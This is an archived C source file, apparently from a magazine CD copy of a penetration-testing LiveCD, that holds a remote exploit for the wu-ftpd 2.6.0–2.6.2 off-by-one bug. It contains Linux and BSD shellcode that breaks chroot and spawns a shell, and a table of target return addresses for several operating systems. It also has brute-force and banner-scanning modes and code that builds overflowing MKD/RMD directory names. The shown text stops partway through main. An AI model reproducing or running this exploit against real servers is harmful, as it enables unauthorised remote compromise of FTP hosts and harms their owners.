home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / 0x82-wu262-advanced.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  23.6 KB  |  927 lines
  1. /*
  2. **
  3. ** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
  4. ** 
  5. ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
  6. **
  7. ** Update: 
  8. **         [v0.0.2] August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
  9. **         [v0.0.3] August 3, Brute-Force function addition.
  10. **         [v0.0.4] August 4, Added FreeBSD, OpenBSD version wu-ftpd-2.6.x exploit.
  11. **                                    It will be applied well to most XxxxBSD.
  12. **         [v0.0.5] August 4, Remote scan & exploit test function addition.
  13. **                     August 6, Cleaning.
  14. **
  15. */
  16.  
  17. #define VERSION "v0.0.5"
  18. #include <stdio.h>
  19. #include <unistd.h>
  20. #include <stdlib.h>
  21. #include <netdb.h>
  22. #include <netinet/in.h>
  23. #include <sys/socket.h>
  24.  
  25. #define DEBUG_NG
  26. #undef DEBUG_NG
  27. #define NRL 0
  28. #define SCS 1
  29. #define FAD (-1)
  30. #define MAX_BF (16)
  31. #define BF_LSZ (0x100) /* 256 */
  32. #define DEF_VA 255
  33. #define DEF_PORT 21
  34. #define DEF_ANSH_LINUX 15
  35. #define DEF_ANSH_FRBSD 55
  36. #define GET_HOST_NM_ERR (NULL)
  37. #define SIN_ZR_SIZE 8
  38. #define DEF_ALIGN 4
  39. #define GET_R 5000
  40. #define DEF_NOP 64
  41. #define DEF_STR "x0x"
  42. #define HOME_DIR_LINUX "/home/"
  43. #define HOME_DIR_FRBSD "/usr/home/"
  44. #define HOME_DIR_OPBSD "/home/"
  45. #define DEF_HOST "localhost"
  46. #define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
  47. "uname -a;id;export TERM=vt100;exec bash -i\n"
  48. #define DEF_COMM_OB "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
  49. "uname -a;id;export TERM=vt100;exec sh -i\n"
  50. /* ftpd handshake */
  51. #define FTP_CONN_SCS "220"
  52. #define FTP_USER_FAD "331"
  53. #define FTP_LOGIN_FAD "530 Login incorrect."
  54. #define FTP_LOGIN_SCS "230"
  55. #define CWD_COMM_SCS "250" /* also, RMD command */
  56. #define MKD_COMM_SCS "257"
  57. #define MKD_EXIST "521"
  58. #define CMD_ERROR "500"
  59.  
  60. void ftpd_login(int sock,char *user,char *pass);
  61. void conn_shell(int conn_sock,u_long scs_addr);
  62. int setsock(char *u_host,int u_port);
  63. void re_connt(int st_sock_va);
  64. void prcode_usage(char *f_nm);
  65. int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
  66. int send_shellcode(int sock,int type,char *dir_nm);
  67. void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
  68. int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
  69. u_long null_chk(u_long sh_addr);
  70. void banrl();
  71. int bscann(char *chk_ban);
  72. int check_exp(int sock);
  73.  
  74. struct os
  75. {
  76.     int num;
  77.     char *v_nm;
  78.     u_long sh_addr;
  79.     u_long bf_addr;
  80.     char *shellcode;
  81.     int off_st;
  82.     char *home;
  83. };
  84. int t_g=(NRL);
  85. char home_dir[(DEF_VA)]; /* user home directory offset */
  86. int __exp_test=(NRL); /* check exploit test */
  87. int b_scan=(NRL); /* banner check */
  88. /*
  89. ** `0xff' uses two times to be realized in our shellcode.
  90. */
  91. char lnx_shellcode_ffx2[]=
  92.     /* setuid/chroot-break/execve shellcode by Lam3rZ */
  93.     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
  94.     "\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
  95.     "\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
  96.     "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
  97.     "\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
  98.     "\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
  99.     "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  100.     "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
  101.     "\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
  102.     "\x2e\x2e\x31\x31";
  103.  
  104. char bsd_shellcode_ffx2[]=
  105.     /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  106.     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  107.     "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  108.     "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0\x88"
  109.     "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
  110.     "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
  111.     "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
  112.     "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
  113.     "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
  114.     "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  115.     "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
  116.     "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30"
  117.     "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
  118.     "\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
  119.     "\x63\x6f\x6d";
  120.  
  121. struct os plat[]=
  122. {
  123.     /*
  124.     ** I enjoy version up, will not share more. :-}
  125.     */
  126.     {
  127.         0,"RedHat Linux 6.x Version wu-2.6.0 compile",0x0806a59c,
  128.         0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
  129.     },
  130.     {
  131.         1,"RedHat Linux 6.x Version wu-2.6.1 compile",0x0806aad8,
  132.         0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
  133.     },
  134.     {
  135.         2,"RedHat Linux 6.x Version wu-2.6.2 compile",0x0806aa60,
  136.         0x0806a082,lnx_shellcode_ffx2,(DEF_ANSH_LINUX),(HOME_DIR_LINUX)
  137.     },
  138.     {
  139.         3,"FreeBSD 4.6.2-RELEASE Version wu-2.6.0 compile",0x0806b826,
  140.         0x0806b026,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
  141.     },
  142.     {
  143.         4,"FreeBSD 4.6.2-RELEASE Version wu-2.6.1 compile",0x0806cb36,
  144.         0x0806c036,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
  145.     },
  146.     {
  147.         5,"FreeBSD 4.6.2-RELEASE Version wu-2.6.2 compile",0x0806ccaa,
  148.         0x0806c082,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_FRBSD)
  149.     },
  150.     {
  151.         6,"OpenBSD 3.0 Version wu-2.6.0 compile",0xdfbfc8f8,
  152.         0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
  153.     },
  154.     {
  155.         7,"OpenBSD 3.0 Version wu-2.6.1 compile",0xdfbfc8f8,
  156.         0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
  157.     },
  158.     {
  159.         8,"OpenBSD 3.0 Version wu-2.6.2 compile",0xdfbfc8f8,
  160.         0xdfbfc0f8,bsd_shellcode_ffx2,(DEF_ANSH_FRBSD),(HOME_DIR_OPBSD)
  161.     },
  162.     {
  163.         0x82,NULL,0x0,0x0,NULL,0,NULL
  164.     }
  165. };
  166.  
  167. void prcode_usage(char *f_nm)
  168. {
  169.     int r_n=(NRL);
  170.     fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
  171.     fprintf(stdout," \t-h [hostname]   : Target hostname & ip.\n");
  172.     fprintf(stdout," \t-u [userid]     : User id.\n");
  173.     fprintf(stdout," \t-p [passwd]     : User password.\n");
  174.     fprintf(stdout," \t-n [port num]   : Target port number.\n");
  175.     fprintf(stdout," \t-s [shelladdr]  : Shellcode address.\n");
  176.     fprintf(stdout," \t-m [max num]    : Brute-Force Count number.\n");
  177.     fprintf(stdout," \t-i              : help information.\n");
  178.     fprintf(stdout," \t-q              : banner scan mode.\n");
  179.     fprintf(stdout," \t-c              : check exploit test.\n");
  180.     fprintf(stdout," \t-t [target num] : Select target number.\n");
  181.     fprintf(stdout," \t-b [target num] : Brute-Force mode. (Select target number)\n\n");
  182.     for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
  183.     {
  184.         fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
  185.     }
  186.     fprintf(stdout,"\n Example1: %s -hlocalhost -ux82 -px82 -n21 -t0",f_nm);
  187.     fprintf(stdout,"\n Example2: %s -hwu_sub -ux82 -px82 -n21 -b0",f_nm);
  188.     fprintf(stdout,"\n Example3: %s -h0 -ux82 -px82 -qc -t0\n\n",f_nm);
  189.     exit(FAD);
  190. }
  191.  
  192. u_long null_chk(u_long sh_addr)
  193. {
  194.     int chk_0x2f=(NRL);
  195.     for(chk_0x2f=(NRL);chk_0x2f<0x20;chk_0x2f+=(DEF_ALIGN*2))
  196.     {
  197.         if((sh_addr>>(chk_0x2f)&0xff)==(0x2f))
  198.         {
  199.             fprintf(stderr," [-] slash was included to &shellcode address.\n\n");
  200.             exit(FAD);
  201.         }
  202.     }
  203.     if((sh_addr>>(NRL)&0xff)==(0x00))
  204.     {
  205.         return(sh_addr+=(SCS));
  206.     }
  207.     else return(sh_addr);
  208. }
  209.  
  210. int bscann(char *chk_ban)
  211. {
  212.     fprintf(stdout,"\n [+] Checking, banner ...\n");
  213.     if(strstr(chk_ban,"wu-2.6.0"))
  214.     {
  215.         fprintf(stdout," [*] [wu-ftpd-2.6.0]: This is version that exploit is possible.\n\n");
  216.         return(SCS);
  217.     }
  218.     else if(strstr(chk_ban,"wu-2.6.1"))
  219.     {
  220.         fprintf(stdout," [*] [wu-ftpd-2.6.1]: This is version that exploit is possible.\n\n");
  221.         return(SCS);
  222.     }
  223.     else if(strstr(chk_ban,"wu-2.6.2"))
  224.     {
  225.         fprintf(stdout," [*] [wu-ftpd-2.6.2]: This is version that exploit is possible.\n\n");
  226.         return(SCS);
  227.     }
  228.     else
  229.     {
  230.         fprintf(stdout," [x] This version does not support exploit.\n");
  231.         return(FAD);
  232.     }
  233. }
  234.  
  235. void ftpd_login(int sock,char *user,char *pass)
  236. {
  237.     char send_recv[(GET_R)];
  238.  
  239.     (u_int)sleep(SCS);
  240.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  241.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  242.  
  243.     if(b_scan)
  244.     {
  245.         b_scan=(NRL);
  246.         if(((int)bscann(send_recv))==(FAD))
  247.         {
  248.             fprintf(stdout," [-] exploit stop.\n\n");
  249.             exit(FAD);
  250.         }
  251.     }
  252.     if(!strstr(send_recv,(FTP_CONN_SCS)))
  253.     {
  254.         fprintf(stdout," [-] ftpd connection failure.\n\n");
  255.         close(sock);
  256.         exit(FAD);
  257.     }
  258.     else fprintf(stdout," [*] ftpd connection success.\n");
  259.     fprintf(stdout," [+] User id input.\n");
  260.  
  261.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  262.     snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
  263.     send(sock,send_recv,strlen(send_recv),(NRL));
  264.  
  265.     (u_int)sleep(SCS);
  266.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  267.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  268.  
  269.     if(!strstr(send_recv,(FTP_USER_FAD)))
  270.     {
  271.         fprintf(stdout," [-] User id input failure.\n\n");
  272.         close(sock);
  273.         exit(FAD);
  274.     }
  275.     else fprintf(stdout," [+] User password input.\n");
  276.  
  277.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  278.     snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
  279.     send(sock,send_recv,strlen(send_recv),(NRL));
  280.  
  281.     (u_int)sleep(SCS);
  282.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  283.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  284.  
  285.     if(strstr(send_recv,(FTP_LOGIN_FAD)))
  286.     {
  287.         fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
  288.         close(sock);
  289.         exit(FAD);
  290.     }
  291.     else if(strstr(send_recv,(FTP_LOGIN_SCS)))
  292.     {
  293.         fprintf(stdout," [*] User %s logged in.\n",user);
  294.     }
  295.     else
  296.     {
  297.         fprintf(stdout," [-] ftpd handshake failure.\n\n");
  298.         close(sock);
  299.         exit(FAD);
  300.     }
  301.     return;
  302. }
  303.  
  304. int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
  305. {
  306.     int dr_n=(NRL),cmd_f=(NRL);
  307.     char get_nm[(GET_R)];
  308.  
  309.     memset((char *)dir_nm,(NRL),(GET_R));
  310.     /* MKD command */
  311.     dir_nm[cmd_f++]=(0x4d);
  312.     dir_nm[cmd_f++]=(0x4b);
  313.     dir_nm[cmd_f++]=(0x44);
  314.     dir_nm[cmd_f++]=(0x20);
  315.  
  316.     for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
  317.     {
  318.         dir_nm[dr_n]=(gb_character);
  319.     }
  320.     dir_nm[dr_n++]=(0x0d);
  321.     dir_nm[dr_n++]=(0x0a);
  322.  
  323.     if(type)
  324.     {
  325.         send(sock,dir_nm,strlen(dir_nm),(NRL));
  326.         (u_int)sleep(SCS);
  327.         memset((char *)get_nm,(NRL),sizeof(get_nm));
  328.         recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  329.  
  330.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  331.         {
  332.             fprintf(stdout," [-] MKD command failed.\n\n");
  333.             exit(FAD);
  334.         }
  335.     }
  336.     /* CMD command */
  337.     cmd_f=(NRL);
  338.     dir_nm[cmd_f++]=(0x43);
  339.     dir_nm[cmd_f++]=(0x57);
  340.     dir_nm[cmd_f++]=(0x44);
  341.  
  342.     send(sock,dir_nm,strlen(dir_nm),(NRL));
  343.     (u_int)sleep(SCS);
  344.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  345.     recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  346.  
  347.     if(!strstr(get_nm,(CWD_COMM_SCS)))
  348.     {
  349.         fprintf(stdout," [-] CWD command failed.\n\n");
  350.         exit(FAD);
  351.     }
  352.     return;
  353. }
  354.  
  355. int send_shellcode(int sock,int type,char *dir_nm)
  356. {
  357.     int dr_n=(NRL),cmd_f=(NRL);
  358.     char get_nm[(GET_R)];
  359.  
  360.     memset((char *)dir_nm,(NRL),(GET_R));
  361.     /* MKD command */
  362.     dir_nm[cmd_f++]=(0x4d);
  363.     dir_nm[cmd_f++]=(0x4b);
  364.     dir_nm[cmd_f++]=(0x44);
  365.     dir_nm[cmd_f++]=(0x20);
  366.     
  367.     for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(plat[t_g].shellcode);dr_n++)
  368.     {
  369.         dir_nm[dr_n]=(DEF_NOP);
  370.     }
  371.     for(cmd_f=(NRL);cmd_f<strlen(plat[t_g].shellcode);cmd_f++)
  372.     {
  373.         dir_nm[dr_n++]=plat[t_g].shellcode[cmd_f];
  374.     }
  375.     dir_nm[dr_n++]=(0x0d);
  376.     dir_nm[dr_n++]=(0x0a);
  377.  
  378.     if(type)
  379.     {
  380.         send(sock,dir_nm,strlen(dir_nm),(NRL));
  381.         (u_int)sleep(SCS);
  382.         memset((char *)get_nm,(NRL),sizeof(get_nm));
  383.         recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  384.  
  385.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  386.         {
  387.             fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
  388.             exit(FAD);
  389.         }
  390.     }
  391.     /* CMD command */
  392.     cmd_f=(NRL);
  393.     dir_nm[cmd_f++]=(0x43);
  394.     dir_nm[cmd_f++]=(0x57);
  395.     dir_nm[cmd_f++]=(0x44);
  396.  
  397.     send(sock,dir_nm,strlen(dir_nm),(NRL));
  398.     (u_int)sleep(SCS);
  399.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  400.     recv(sock,get_nm,(GET_R)-1,(NRL));
  401.  
  402.     if(!strstr(get_nm,(CWD_COMM_SCS)))
  403.     {
  404.         fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
  405.         exit(FAD);
  406.     }
  407.     return;
  408. }
  409.  
  410. void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
  411. {
  412.     char atk_bf[(GET_R)];
  413.     switch(t_g)
  414.     {
  415.         case 0:
  416.         case 1:
  417.         case 2:
  418.             fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
  419.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41));    /* 01 */
  420.             fprintf(stdout," [+] 02: make shell-code directory.\n");
  421.             (int)send_shellcode(sock,d_type,(atk_bf));    /* 02 */
  422.             fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
  423.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43));    /* 03 */
  424.             fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
  425.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44));    /* 04 */
  426.             fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
  427.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45));    /* 05 */
  428.             fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
  429.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46));    /* 06 */
  430.             fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
  431.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47));    /* 07 */
  432.             fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
  433.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48));    /* 08 */
  434.             fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
  435.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49));    /* 09 */
  436.             fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
  437.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50));    /* 10 */
  438.             fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
  439.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51));    /* 11 */
  440.             fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
  441.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52));    /* 12 */
  442.             fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
  443.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53));    /* 13 */
  444.             fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
  445.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54));    /* 14 */
  446.             fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
  447.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55));    /* 15 */
  448.             (int)make_retloc(sock,type,(atk_bf),sh_addr);    /* 16 */
  449.             break;
  450.         case 3:
  451.         case 4:
  452.         case 5:
  453.         case 6:
  454.         case 7:
  455.         case 8:
  456.             fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
  457.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41));    /* 01 */
  458.             fprintf(stdout," [+] 02: make shell-code directory.\n");
  459.             (int)send_shellcode(sock,d_type,(atk_bf));    /* 02 */
  460.             fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
  461.             (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43));    /* 03 */
  462.             (int)make_retloc(sock,type,(atk_bf),sh_addr);    /* 04 */
  463.             break;
  464.     }
  465.     if(type&&__exp_test)
  466.     {
  467.         __exp_test=(NRL);
  468.         if(((int)check_exp(sock))==(FAD))
  469.         {
  470.             fprintf(stderr," [-] This isn't vulnerable.\n\n");
  471.             exit(FAD);
  472.         }
  473.     }
  474.     return;
  475. }
  476.  
  477. int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
  478. {
  479.     int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
  480.     char get_nm[(GET_R)];
  481.  
  482.     memset((char *)atk_bf,(NRL),(GET_R));
  483.     if(type) /* MKD command */
  484.     {
  485.         atk_bf[cmd_f++]=(0x4d);
  486.         atk_bf[cmd_f++]=(0x4b);
  487.         atk_bf[cmd_f++]=(0x44);
  488.         atk_bf[cmd_f++]=(0x20);
  489.     }
  490.     else /* RMD command */
  491.     {
  492.         atk_bf[cmd_f++]=(0x52);
  493.         atk_bf[cmd_f++]=(0x4d);
  494.         atk_bf[cmd_f++]=(0x44);
  495.         atk_bf[cmd_f++]=(0x20);
  496.     }
  497.     for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(plat[t_g].off_st);r_rn_2++)
  498.         atk_bf[r_rn_1++]=(0x41);
  499.     {
  500.         int chk_0xff=(NRL);
  501.         switch(t_g)
  502.         {
  503.             case 0:
  504.             case 1:
  505.             case 2:
  506.                 /* frame pointer */
  507.                 *(long *)&atk_bf[r_rn_1]=0x82828282;
  508.                 r_rn_1+=(DEF_ALIGN);
  509.                 for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
  510.                 {
  511.                     if((sh_addr>>(chk_0xff)&0xff)==(0xff))
  512.                         atk_bf[r_rn_1++]=0xff;
  513.                     atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
  514.                 }
  515.                 break;
  516.             case 3:
  517.             case 4:
  518.             case 5:
  519.                 /* frame pointer */
  520.                 *(long *)&atk_bf[r_rn_1]=0x82828282;
  521.                 r_rn_1+=(DEF_ALIGN);
  522.                 for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
  523.                 {
  524.                     if((sh_addr>>(chk_0xff)&0xff)==(0xff))
  525.                         atk_bf[r_rn_1++]=0xff;
  526.                     atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
  527.                 }
  528.                 for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
  529.                 {
  530.                     atk_bf[r_rn_1++]=(0x41);
  531.                 }
  532.                 break;
  533.             case 6:
  534.             case 7:
  535.             case 8:
  536.                 for(r_rn_2=(NRL);r_rn_2<(DEF_ALIGN*10);r_rn_2++)
  537.                 {
  538.                     atk_bf[r_rn_1++]=(0x41);
  539.                 }
  540.                 /* frame pointer */
  541.                 *(long *)&atk_bf[r_rn_1]=0x82828282;
  542.                 r_rn_1+=(DEF_ALIGN);
  543.                 for(chk_0xff=(NRL);chk_0xff<0x20;chk_0xff+=(DEF_ALIGN*2))
  544.                 {
  545.                     if((sh_addr>>(chk_0xff)&0xff)==(0xff))
  546.                         atk_bf[r_rn_1++]=0xff;
  547.                     atk_bf[r_rn_1++]=(sh_addr>>(chk_0xff)&0xff);
  548.                 }
  549.                 break;
  550.         }
  551.         *(long *)&atk_bf[r_rn_1]=0x41414141;
  552.         r_rn_1+=(DEF_ALIGN);
  553.         *(long *)&atk_bf[r_rn_1]=0x0d414141;
  554.         r_rn_1+=(DEF_ALIGN);
  555.         atk_bf[r_rn_1++]=(0x0a);
  556.     }
  557.     send(sock,atk_bf,strlen(atk_bf),(NRL));
  558.     (u_int)sleep(SCS);
  559.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  560.     recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  561.  
  562.     if(type) /* MKD command */
  563.     {
  564.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  565.         {
  566.             fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
  567.             exit(FAD);
  568.         }
  569.         else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
  570.     }
  571.     else /* RMD command */
  572.     {
  573.         if(!strstr(get_nm,(CWD_COMM_SCS)))
  574.         {
  575.             fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
  576.             exit(FAD);
  577.         }
  578.         else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
  579.     }
  580.     return;
  581. }
  582.  
  583. int main(int argc,char *argv[])
  584. {
  585.     int opt_g,sock,__bf=(NRL);
  586.     int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
  587.     char user_id[(DEF_VA)]=(DEF_STR);
  588.     char pass_wd[(DEF_VA)]=(DEF_STR);
  589.     char tg_host[(DEF_VA)]=(DEF_HOST);
  590.     int tg_port=(DEF_PORT);
  591.     u_long sh_addr=(plat[t_g].sh_addr);
  592.  
  593.     (void)banrl();
  594.     while((opt_g=getopt(argc,argv,"QqCcM:m:H:h:U:u:P:p:N:n:S:s:T:t:B:b:Ii"))!=EOF)
  595.     {
  596.         extern char *optarg;
  597.         switch(opt_g)
  598.         {
  599.             case 'Q':
  600.             case 'q':
  601.                 fprintf(stdout," [*] Banner scan mode.\n");
  602.                 b_scan=(SCS);
  603.                 break;
  604.                 
  605.             case 'C':
  606.             case 'c':
  607.                 fprintf(stdout," [*] Check exploit test mode.\n");
  608.                 __exp_test=(SCS);
  609.                 break;
  610.  
  611.             case 'M':
  612.             case 'm':
  613.                 mx_bf=(atoi(optarg));
  614.                 bf_lsz=((0x1000)/mx_bf);
  615.                 break;
  616.  
  617.             case 'H':
  618.             case 'h':
  619.                 memset((char *)tg_host,(NRL),sizeof(tg_host));
  620.                 strncpy(tg_host,optarg,sizeof(tg_host)-1);
  621.                 break;
  622.                 
  623.             case 'U':
  624.             case 'u':
  625.                 memset((char *)user_id,(NRL),sizeof(user_id));
  626.                 strncpy(user_id,optarg,sizeof(user_id)-1);
  627.                 break;
  628.                 
  629.             case 'P':
  630.             case 'p':
  631.                 memset((char *)pass_wd,(NRL),sizeof(pass_wd));
  632.                 strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
  633.                 break;
  634.                 
  635.             case 'N':
  636.             case 'n':
  637.                 tg_port=(atoi(optarg));
  638.                 break;
  639.                 
  640.             case 'S':
  641.             case 's':
  642.                 sh_addr=strtoul(optarg,(NRL),(NRL));
  643.                 break;
  644.                 
  645.             case 'T':
  646.             case 't':
  647.                 if((t_g=(atoi(optarg)))<(9))
  648.                     sh_addr=(plat[t_g].sh_addr);
  649.                 else (void)prcode_usage(argv[(NRL)]);
  650.                 break;
  651.                 
  652.             case 'B':
  653.             case 'b':
  654.                 if((t_g=(atoi(optarg)))<(9))
  655.                 {
  656.                     sh_addr=(plat[t_g].bf_addr);
  657.                     __bf=(SCS);
  658.                 }
  659.                 else (void)prcode_usage(argv[(NRL)]);
  660.                 break;
  661.                 
  662.             case 'I':
  663.             case 'i':
  664.                 (void)prcode_usage(argv[(NRL)]);
  665.                 break;
  666.                 
  667.             case '?':
  668.                 (void)prcode_usage(argv[(NRL)]);
  669.                 break;
  670.         }
  671.     }
  672.     if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
  673.         (void)prcode_usage(argv[(NRL)]);
  674.     
  675.     memset((char *)home_dir,(NRL),sizeof(home_dir));
  676.     snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(plat[t_g].home),user_id);
  677.  
  678.     if(!__bf)
  679.     {
  680.         fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
  681.         sh_addr=(u_long)null_chk(sh_addr);
  682.         fprintf(stdout," [+] address: %p.\n",sh_addr);
  683.         fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
  684.         fflush(stdout);
  685.  
  686.         sock=(int)setsock(tg_host,tg_port);
  687.         (void)re_connt(sock);
  688.         fprintf(stdout," [  OK  ]\n");
  689.  
  690.         fprintf(stdout," [1] ftpd connection login.\n");
  691.         (void)ftpd_login(sock,user_id,pass_wd);
  692.  
  693.         fprintf(stdout," [2] send exploit code.\n");
  694.         (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
  695.         close(sock);
  696.  
  697.         fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
  698.         fflush(stdout);
  699.  
  700.         sock=(int)setsock(tg_host,tg_port);
